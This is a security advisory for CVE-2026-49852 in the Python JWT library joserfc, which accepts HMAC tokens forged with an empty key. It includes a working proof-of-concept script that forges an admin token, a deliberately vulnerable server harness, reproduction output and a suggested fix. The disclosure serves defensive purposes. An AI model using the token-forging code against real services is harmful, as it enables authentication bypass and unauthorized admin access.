PT-2026-55459 · Pypi · Joserfc
Publicado
2026-07-02
·
Atualizado
2026-07-02
·
CVE-2026-49852
CVSS v4.0
8.7
Alta
| Vetor | AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N |
Summary
joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the
caller-supplied verification key is the empty string or None.
HMACAlgorithm.sign and HMACAlgorithm.verify in
[src/joserfc/ rfc7518/jws algs.py:62-70](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/ rfc7518/jws algs.py#L62-L70) feed whatever
OctKey.get op key(...) produced into hmac.new(...), and OctKey.import key
only emits a SecurityWarning when the raw key is shorter than 14 bytes
without rejecting zero-length input. Any application whose JWT secret is
sourced from an unset environment variable, an unset Redis / DB row, a key
finder fallback that returns "", or a Hash.new("")-style default verifies
attacker tokens forged with HMAC(key=b"", signing input) because the
attacker trivially reproduces the same digest with no secret knowledge.This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /
CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,
filed 2026-05-13). ruby-jwt v3.2.0 added an
ensure valid key! precondition
that rejects empty keys at both sign and verify entry; joserfc has no
equivalent. (The same primitive lives in the deprecated authlib.jose
module by the same maintainer; filing this advisory against joserfc
alongside a separate authlib advisory because the codebases are
independent shipping artifacts on PyPI.)Affected versions
joserfc (PyPI) <= 1.6.7 (latest published release reproduces). No
patched release.Privilege required
Unauthenticated. Any HTTP / RPC endpoint that calls
joserfc.jwt.decode
with a verification key sourced from configuration is reachable. The
condition that makes the bug observable is operator-side: the configured
secret resolves to "" or None. Common patterns that produce this state
in production:OctKey.import key(os.environ.get("JWT SECRET", ""))- A key finder callable that returns
""/Nonefor an unknownkid - Default values like
os.getenv("SECRET") or "",cfg.get("secret", "") - Database / Redis row lookup that returns
""for a missing row
Vulnerable code
[
src/joserfc/ rfc7518/jws algs.py:43-70](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/ rfc7518/jws algs.py#L43-L70):python
class HMACAlgorithm(JWSAlgModel):
SHA256 = hashlib.sha256
SHA384 = hashlib.sha384
SHA512 = hashlib.sha512
def init (self, sha type, recommended=False):
self.name = f"HS{sha type}"
self.description = f"HMAC using SHA-{sha type}"
self.recommended = recommended
self.hash alg = getattr(self, f"SHA{sha type}")
self.algorithm security = sha type
def sign(self, msg: bytes, key: OctKey) -> bytes:
op key = key.get op key("sign")
return hmac.new(op key, msg, self.hash alg).digest()
def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
op key = key.get op key("verify")
v sig = hmac.new(op key, msg, self.hash alg).digest()
return hmac.compare digest(sig, v sig)[
src/joserfc/ rfc7518/oct key.py:52-63](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/ rfc7518/oct key.py#L52-L63):python
@classmethod
def import key(cls, value, parameters=None, password=None) -> "OctKey":
key: OctKey = super(OctKey, cls).import key(value, parameters, password)
if len(key.raw value) < 14:
# https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final
warnings.warn("Key size should be >= 112 bits", SecurityWarning)
return keyThe
< 14 check only warns; len(key.raw value) == 0 falls through and is
returned to the caller. HMACAlgorithm.verify then calls
hmac.compare digest(sig, hmac.new(b"", signing input, sha256).digest()),
and Python's hmac.new(b"", ...) accepts the empty key.Cross-language sibling of ruby-jwt's fix in
lib/jwt/jwa/hmac.rb:ruby
def ensure valid key!(key)
raise verify error!('HMAC key expected to be a String') unless key.is a?(String)
raise verify error!('HMAC key cannot be empty') if key.empty?
endinvoked from both
sign(signing key:) and verify(verification key:).
PyJWT landed an equivalent guard in 2.13.0 (HMACAlgorithm.prepare key
raises InvalidKeyError("HMAC key must not be empty.") for len(key bytes) == 0).
firebase/php-jwt rejects empty material in Key. construct. jjwt enforces a
256-bit minimum in DefaultMacAlgorithm.validateKey. joserfc has the
strongest existing length-warning logic but stops at < 14 bytes warn
rather than == 0 reject.How an empty JWT SECRET reaches hmac.new
- The application calls
joserfc.jwt.decode(value, key, algorithms=["HS256"])wherekey = OctKey.import key("")(orOctKey.import key(b""), or any custom path that yields anOctKeywhoseraw valueisb""). decode(src/joserfc/jwt.py:86-117) callsdecode jws(...)→deserialize compact(value, key, algorithms, registry).deserialize compact(src/joserfc/jws.py) dispatches toHMACAlgorithm.verify(signing input, signature, key).verifycallskey.get op key("verify")→ returnsb"".hmac.new(b"", signing input, sha256).digest()is computed; the attacker computed exactly that digest with the same empty key, sohmac.compare digestreturnsTrueand decode succeeds.
No upstream
nil-check, no length check, no schema rejection. The path is
reached from the public joserfc.jwt.decode API.Proof of concept
Attacker (no secret knowledge):
python
import base64, hmac, hashlib, json, time
def b64url(b): return base64.urlsafe b64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
now = int(time.time())
payload = b64url(json.dumps({
"sub": "attacker", "admin": True,
"iat": now, "exp": now + 600,
}).encode())
signing input = header + b"." + payload
sig = hmac.new(b"", signing input, hashlib.sha256).digest()
forged = signing input + b"." + b64url(sig)
print(forged.decode())Server harness:
python
# server.py
from joserfc import jwt
from joserfc.jwk import OctKey
import os
from wsgiref.simple server import make server
def app(environ, start response):
auth = environ.get("HTTP AUTHORIZATION", "")
token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else ""
key = OctKey.import key(os.environ.get("JWT SECRET", "")) # default = ""
try:
tok = jwt.decode(token, key, algorithms=["HS256"])
c = tok.claims
body = ("OK: sub=%r admin=%r
" % (c.get("sub"), c.get("admin"))).encode()
start response("200 OK", [("Content-Type", "text/plain")])
return [body]
except Exception as e:
start response("401 Unauthorized", [("Content-Type", "text/plain")])
return [("DENY: %s
" % e).encode()]
make server("127.0.0.1", 8383, app).serve forever()End-to-end reproduction (against pip install joserfc==1.6.7)
bash
# 1. Boot the WSGI server. JWT SECRET unset to model the misconfigured-secret
# state.
python3.12 -m venv venv
./venv/bin/pip install joserfc==1.6.7
./venv/bin/python server.py & # listens on :8383
# 2. Run the attacker
./venv/bin/python attacker.pyCaptured run output (canonical pre-fix run, joserfc 1.6.7,
poc-attacker-empty-20260523-150949.log):forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY
HTTP 200
OK: sub='attacker' admin=TrueControl (real 256-bit secret,
poc-control-realkey-20260523-150959.log):forged token: eyJhbGciOiAiSFMyNTYi...
HTTP 401
DENY: BadSignatureError: bad signature:Interpretation:
| Configuration | Observed | Expected |
|---|---|---|
JWT SECRET unset (== "") | HTTP 200, admin=True (verified) | HTTP 401 |
JWT SECRET = 256-bit value | HTTP 401, BadSignatureError | HTTP 401 |
The first row demonstrates that an attacker with zero knowledge of the
verification secret reaches the protected path by signing with the empty
key. The second row confirms the verifier behaves correctly when the
secret is non-empty, proving the bug is gated only on the secret being
empty rather than on any structural defect in the attacker's token.
Fix verification: with the suggested empty-key reject wired into
HMACAlgorithm.sign / .verify, the empty-secret server re-run rejects
the same forged token with ValueError: HMAC key must not be empty.Impact
- Complete authentication bypass on any service whose key finder resolves
to
""/None(env var unset, DB row missing, fallback). Attacker forges arbitrary claims (sub,admin, scopes, audience, expiry). - The misconfiguration that triggers the bug is silent: the server does
not fail to boot, joserfc emits a single
SecurityWarning("Key size should be >= 112 bits") atOctKey.import keytime and then proceeds. - Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high). CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — AC:H because of the operator-misconfiguration precondition; impact otherwise matches authentication bypass.
Suggested fix
Upgrade the existing
< 14 bytes warning in OctKey.import key to a hard
reject at len(key.raw value) == 0, plus a defence-in-depth check in
HMACAlgorithm.sign and HMACAlgorithm.verify after
key.get op key(...):python
# src/joserfc/ rfc7518/oct key.py
@classmethod
def import key(cls, value, parameters=None, password=None) -> "OctKey":
key: OctKey = super(OctKey, cls).import key(value, parameters, password)
if not key.raw value:
raise ValueError("oct key material must not be empty")
if len(key.raw value) < 14:
warnings.warn("Key size should be >= 112 bits", SecurityWarning)
return key
# src/joserfc/ rfc7518/jws algs.py
class HMACAlgorithm(JWSAlgModel):
...
def sign(self, msg: bytes, key: OctKey) -> bytes:
op key = key.get op key("sign")
if not op key:
raise ValueError("HMAC key must not be empty")
return hmac.new(op key, msg, self.hash alg).digest()
def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
op key = key.get op key("verify")
if not op key:
raise ValueError("HMAC key must not be empty")
v sig = hmac.new(op key, msg, self.hash alg).digest()
return hmac.compare digest(sig, v sig)The two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in
prepare key, plus the runtime length checks the underlying hmac
primitive does not perform).Fix PR
authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1 (temp private fork PR), branch
fix/hmac-reject-empty-key, base main. URL:
https://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1Credit
Reported by tonghuaroot.
Correção
Inadequate Encryption Strength
Improper Authentication
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Joserfc